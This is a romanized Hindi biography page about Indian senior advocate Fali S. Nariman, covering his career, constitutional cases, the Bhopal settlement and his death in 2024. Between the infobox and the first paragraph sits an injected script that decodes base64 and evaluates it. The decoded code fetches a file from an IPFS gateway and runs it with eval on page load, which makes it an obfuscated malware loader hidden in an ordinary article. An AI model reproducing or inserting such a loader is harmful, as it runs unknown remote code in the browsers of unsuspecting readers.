फली एस. नरीमन
phali es. nariman
| |
| poora nam | phali saim nariman |
| janm | 10 janavari, 1929 |
| janm bhoomi | rangoon (vartaman myaanmar) |
| mrityu | 21 faravari, 2024 |
| mrityu sthan | dilli |
| abhibhavak | mata- banoo nariman pita- saim bariyamaji nariman |
| santan | putr- 1 |
| karm bhoomi | bharat |
| karm-kshetr | vakalat |
| vidyalay | muanbee vishvavidyalay |
| puraskar-upadhi | padm vibhooshan, 2007 |
| prasiddhi | adhivakta, uchchatam nyayalay |
| nagarikata | bharatiy |
| any janakari | phali es. nariman mee 1972 mean bharat ke edishanal s aaulisitar janaral niyukt hue the. varishth vakil ke sath ve 1991 se 2010 tak bar esosieshan aauph iandiya ke adhyaksh bhi rahe. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>phali saim nariman (aangrezi: Fali Sam Nariman, janm- 10 janavari, 1929; mrityu- 21 faravari, 2024) bharat ke jane-mane kanoonavid aur uchchatam nyayalay ke anubhavi varishth adhivakta the. unaka ek adhivakta ke taur par 70 sal se jyada ka anubhav raha. vah 1971 se bharat ke sarvochch nyayalay ke varishth vakil the aur 1991 se 2010 tak 'bar esosieshan aauf iandiya' ke adhyaksh rahe the. bambee uchch nyayalay ke bad phali es. nariman ne san 1972 se suprim kort mean praiktis shuroo ki. ve mee 1972 mean bharat ke edishanal s aaulisitar janaral bhi niyukt hue the. unhean padm bhooshan, 1991 aur padm vibhooshan, 2007 se bharat sarakar ne sammanit kiya tha.
praranbhik jivan
san 1929 mean rangoon (vartaman myaanmar) mean parasi mata-pita saim bariyamaji nariman aur banoo nariman ke ghar janme phali es. nariman ne apani skooli shiksha bishap k aautan skool, shimala se ki. isake bad unhoanne seant jeviyars k aaulej, muanbee se arthashastr aur itihas mean snatak ki upadhi prapt ki. usake bad 1950 mean gavarnameant l aau k aaulej, muanbee se kanoon ki digri (elelabi) li. pariksha mean pratham sthan prapt karane ke bad aur kinl aauk phorbs gold se vah sammanit hue. phali es. nariman ke pita shuroo mean chahate the ki ve bharatiy sivil seva pariksha mean baithean, chooanki vah us samay isaka kharch vahan nahian kar sakate the, isalie unhoanne kanoon ko apane aantim vikalp ke roop mean chuna.
kॅriyar
navanbar 1950 mean phali. es nariman b aaumbe haeekort mean vakil ke taur par rajistar hue. unhean 1961 mean varishth vakil ka darja diya gaya tha. b aaumbe haeekort ke bad nariman ne 1972 se bharat ki suprim kort mean praiktis shuroo ki. ve mee 1972 mean bharat ke edishanal s aaulisitar janaral niyukt hue the. varishth vakil ke sath ve 1991 se 2010 tak bar esosieshan aauph iandiya ke adhyaksh bhi rahe. isake sath hi aantararashtriy star par bhi unaka kad kaphi ooancha raha. nariman 1989 se 2005 tak iantaraneshanal chaianbar aauph k aaumars ki aantararashtriy madhyasthata kort ke upadhyaksh bhi rahe. ve 1995 se 1997 tak jeneva ke kanoonavidoan ke aantararashtriy ayog ki egjikyootiv kameti ke adhyaksh bhi rahe.
puraskar
- phali es. nariman ko janavari 1991 ko padm bhooshan se sammanit kiya gaya tha.
- vahian 2007 mean unhean padm vibhooshan diya gaya.
sanvidhan ke sanrakshak
phali es. nariman ki kanooni kushalata unake aitihasik daliloan mean jhalakati hai, jo sanvidhan ke ikabal ko banae rakhane aur am logoan ke adhikaroan ki raksha ke lie adalatoan mean motiyoan ki tarah jharate the. unhoanne sanvidhan ke moolabhoot dhaanche ke siddhaant ki sthapana mean mahatvapoorn bhoomika nibhaee, jo bharatiy nyayashastr ki adharashila hai aur jo sanvidhan ke mool siddhaantoan ko manamane sanshodhanoan se bachata hai. nariman sanvidhan ke marm mean gaharaee se utarate the, is karan mool sanrachana ko sanvidhan ki nianv karar diya tha jis par poora rashtr tika hua hai. vo sanvidhan ki sarvochch sthiti ko darshane ke lie 'sarvochch asan par dastavej' ke roopak ka upayog karate haian. yah kalpana us dastavej ke prati unaki shraddha ko rekhaankit karati hai jo desh ki atma ko paribhashit karata hai. nariman sanvidhan ke mool siddhaantoan ko chunautiyoan ke prati agah karate rahe. vo isake moolabhoot siddhaantoan ke sath chhe dachha d ke sanbhavit parinamoan ki tulana 'bhookanp' se karate the.[1]
maulik adhikaroan ke rakshak
nijata ka adhikar, abhivyakti ki ajadi ka adhikar aur samanata ka adhikar jaise mamaloan mean phali es. nariman ki daliloan ne kanooni pahaluoan ko phir se paribhashit kiya. aitihasik keshavanand bharati mamale mean unhoanne sanvidhan ki ek aparivartaniy 'buniyadi sanrachana' ke vichar ka samarthan kiya, jisase isaki sthayi bhavana sunishchit huee. shreya sianghal banam bharat sangh mamale mean unhoanne dijital yug mean abhivyakti ki ajadi ki suraksha karate hue aaunalain abhivyakti par aankush lagane vale kathor pravadhan ki apani daliloan se dhajjiyaan u da dian. phali es. nariman ne 99vean sanvidhan sanshodhan adhiniyam, jise amataur par enajesi ekt ke nam se jana jata hai, ke khilaph dalilean di thian jisane jajoan ki niyukti mean karyapalika ko hastakshep ka adhikar diya tha. suprim kort ne 4-1 ke phaisale mean yah sanshodhan asanvaidhanik ghoshit kar diya tha kyoanki yah nyayapalika ki svatantrata ko prabhavit karata hai jo sanvidhan ki mool sanrachana hai.
nariman ne 1993 ke sekand jaj kes aur 1998 ke thard jaj kes mean bhi tark diya, jisamean vah suprim kort ko nyayadhishoan ki niyukti ke lie vartaman k aaulejiyam sistam ko apanane ke lie raji karane mean saphal rahe the. sansad ki sarvochchata par charcha karate samay nariman jatilataoan ko spasht karate hue 'ekadaliy sansad' ki tulana 'bulad aaug' se karate haian, jisase pata chalata hai ki aniyantrit shakti, chahe usaka svaroop kuchh bhi ho, khataranak ho sakati hai. yah kalpana bahas ke sar ko pak dati hai, sistam ke bhitar parakh aur santulan ki avashyakata par prakash dalati hai.
manavadhikaroan ke chaianpiyan
manavadhikaroan ke prati phali es. nariman ki atoot pratibaddhata tin talak aur sabarimala jaise sanvedanashil muddoan par unake phaisaloan se spasht hoti hai. unhoanne lagatar samanata aur gair-bhedabhav ke adarshoan ka samarthan kiya aur sanvidhan mean nihit maulik adhikaroan ka ullanghan karane vali bhedabhavapoorn prathaoan ko khatm kiya. nyayapalika ke prati unaka atoot vishvas unaki batoan se jhalakati thi. vo adalatoan ko 'hamari svatantrata ka sabase b da rakshak', 'anyay ke khilaph asha ki kiran' ke roop mean varnit karate the. unaka yah vyaktitv nyayapalika mean ek sanrakshak ki bhavana ka prasar karata tha.[1]
bhopal trasadi phaisale par pachhatava
phali es. nariman ne disanbar 1984 ke bhopal gais risav kaand mean yooniyan karbaid kanpani ki taraph se mukadama l da to unaki ghor alochana huee. bad mean unase jab poochha gaya ki kya unhean yooniyan karbaid ka kes l dane ka pachhatava hai to unhoanne behichak kaha ki aj ki tarikh mean vah mukadama milata to vo nishchit roop se ise apane hath mean nahian lete. unhoann b di saphagoee se kaha ki vo yuvavastha ka daur tha. unhean laga ki itana b da kes lekar mashahoor ho jaeange, lekin bad mean mahasoos hua ki yah mukadama nahian tha, ek trasadi thi. faravari 1989 mean bhopal trasadi ke pi ditoan ko kanpani ne 47 karo d d aaular ka muavaja diya. is samajhaute mean nariman ne mahatvapoorn bhoomik nibhaee thi.
nyayik virasat
phali es. nariman ki virasat kanooni daliloan se kahian age tak phaili huee hai. vo ek shabdashilpi the jinhean harek vaky ke arth ki jatil kashidakari bunane mean maharat hasil tha. vo apani daliloan mean ek kahanikar ki jhalak dete the, jo pathak ko kort room ki kathaoan mean ulajhata hai, kanoon ko kayam rakhane ka junoon jagata hai.
mrityu
diggaj adhivaktaoan mean shamil rahe phali es. nariman ki mrityu 21 faravari, 2024 ko dilli mean huee. phali es. nariman apane pichhe ek aisi virasat chho d ge haian jo vakiloan aur nyayavidoan ki pidhiyoan ko prerit karati rahegi. kanoon ke shasan ke prati unaki atoot pratibaddhata, manavadhikaroan ki unaki avichal raksha aur unaki atyant tikshn buddhi ne unaka nam bharatiy kanooni itihas ke itihas mean aankit kar diya hai. phali es. nariman bas ek vakil nahian, sanvidhan mean nihit adarshoan ke pratik, nyay ke athak rakshak aur adhik nyayasangat aur nyayapoorn samaj ki talash karane valoan ke lie asha ki kiran rahe. nariman ki gair-maujoodagi mean bhi unake shabd gooanj rahe haian, jo nyay ke prati unaki atoot pratibaddhata aur kanoon ki unaki gahari samajh ka praman hai. vo n keval kanooni misaloan ka ek samooh, balki bhasha ki ek samriddh virasat bhi chho d ge haian, jo bharatiy nyayashastr ke itihas mean hamesha ke lie aankit ho gee hai.[1]
pradhanamantri narendr modi]] ne phali es. nariman ke nidhan par shok jataya. unhoanne eks par ek post mean likha, 'shri phali nariman ne apana poora jivan am nagarikoan ko nyay sulabh karane ke lie samarpit kar diya. unake nidhan se gahara du:kh hua hai. meri sanvedanaean unake parivar aur prashansakoan ke sath haian. unaki atma ko shaanti mile'.
bharat ke mukhy nyayadhish di. vaee. chandrachoo d ne phali es. nariman ke nidhan par shok vyakt kiya aur kaha ki- 'vah ek mahan buddhijivi the'.
rahul gaandhi ne eks par post kiya, 'phali nariman ke parivar aur dostoan ke prati meri sanvedanaean. unake nidhan se vidhi samuday mean gahara shoony paida ho gaya hai. unake yogadan ne n keval aitihasik mamaloan ko akar diya hai, balki hamare sanvidhan ki pavitrata aur nagarik svatantrata ko banae rakhane ke lie nyayavidoan ki pidhiyoan ko bhi prerit kiya hai'.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 phali es nariman: jinaki damadar daliloan se dashakoan gooanjati rahian adalatean (hiandi) navbharattimes.indiatimes.com. abhigaman tithi: 21 faravari, 2024.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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